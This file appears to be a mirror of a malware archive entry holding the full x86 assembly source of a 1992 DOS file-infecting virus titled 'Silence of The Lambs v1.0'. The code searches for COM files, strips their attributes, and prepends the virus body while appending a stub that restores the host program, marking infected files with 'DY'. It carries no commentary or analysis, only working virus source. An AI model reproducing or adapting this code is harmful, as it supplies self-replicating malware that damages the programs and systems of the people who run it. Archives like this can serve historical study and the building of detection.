mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-28 09:52:32 +00:00
166 lines
3.1 KiB
NASM
166 lines
3.1 KiB
NASM
; Silence of The Lambs v1.0
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; (c) The Chronomancer of Demoralized Youth 1992
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;
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; First version : Thursday 27th of Febuary - 01:50 CET.
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;
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org 100h
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jmp short dummy1
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db 'DY'
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dummy1:
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mov cx,(100h-80h)/2 ;save command line on stack
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mov si,80h
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save_parm:
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push [si]
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inc si
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inc si
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loop save_parm
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mov ah,4Eh
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xor cx,cx
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mov dx,offset file
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int 21h
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jc nomore
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again:
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cmp byte [9Eh],0FAh
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jae more
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call infect
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more:
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mov ah,4Fh
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int 21h
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jnc again
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nomore:
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mov cx,(100h-80h)/2
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mov si,0FEh
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rest_parm:
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pop [si]
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dec si
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dec si
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loop rest_parm
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mov bx,0000h
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eof equ $-2
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jmp bx
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file db '*.COM',0
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infect:
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mov bx,cs
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mov si,cs
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dec si
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mov ds,si
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cmp byte[0],'Z'
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je ok_mark
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jmp back2
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ok_mark:
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sub word [0003h],pgfsize
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jnc ok_mark2
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jmp back
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ok_mark2:
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mov ax,[0012h]
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sub ax,pgfsize
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push ax
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mov ds,bx
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mov ax,4301h
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xor cx,cx
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mov dx,80h+1Eh
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int 21h
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mov ax,3D02h
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int 21h
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xchg bx,ax
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pop ds
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push ds
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mov cx,total
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xor dx,dx
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mov ah,3Fh
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int 21h
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cmp byte [0],'M' ;exe ?
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je close
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cmp byte [0],'Z' ;exe ?
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je close
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cmp word [2],'YD' ;allready infected?
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je close
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xor cx,cx
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xor dx,dx
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push cx
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push dx
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mov ax,4202h
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int 21h
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add ax,total+100h
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mov cs:word [00FEh],ax
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mov ah,40h
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mov cx,total
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xor dx,dx
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int 21h
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push cs
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pop ds
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mov ah,40h
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mov cx,applen
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mov dx,offset append
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int 21h
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mov ax,4200h
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pop dx
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pop cx
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int 21h
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push [eof]
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mov ax,word [00FEh]
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mov [eof],ax
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mov ah,40h
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mov dx,100h
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mov cx,total
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int 21h
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pop [eof]
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close:
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mov ah,3Eh
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int 21h
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back:
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pop ds ;(mov ds,si)
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add word [0003h],pgfsize
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back2:
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push cs
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pop ds
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ret
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append:
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call $+3
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pop si
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sub si,3+total
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mov di,100h
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mov cx,total
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rep movsb
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mov ax,100h
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push ax
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ret
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applen equ $-offset append
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total equ $-100h ;size
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pgfsize equ ($-100h)/16+2 ;paragraphs needed
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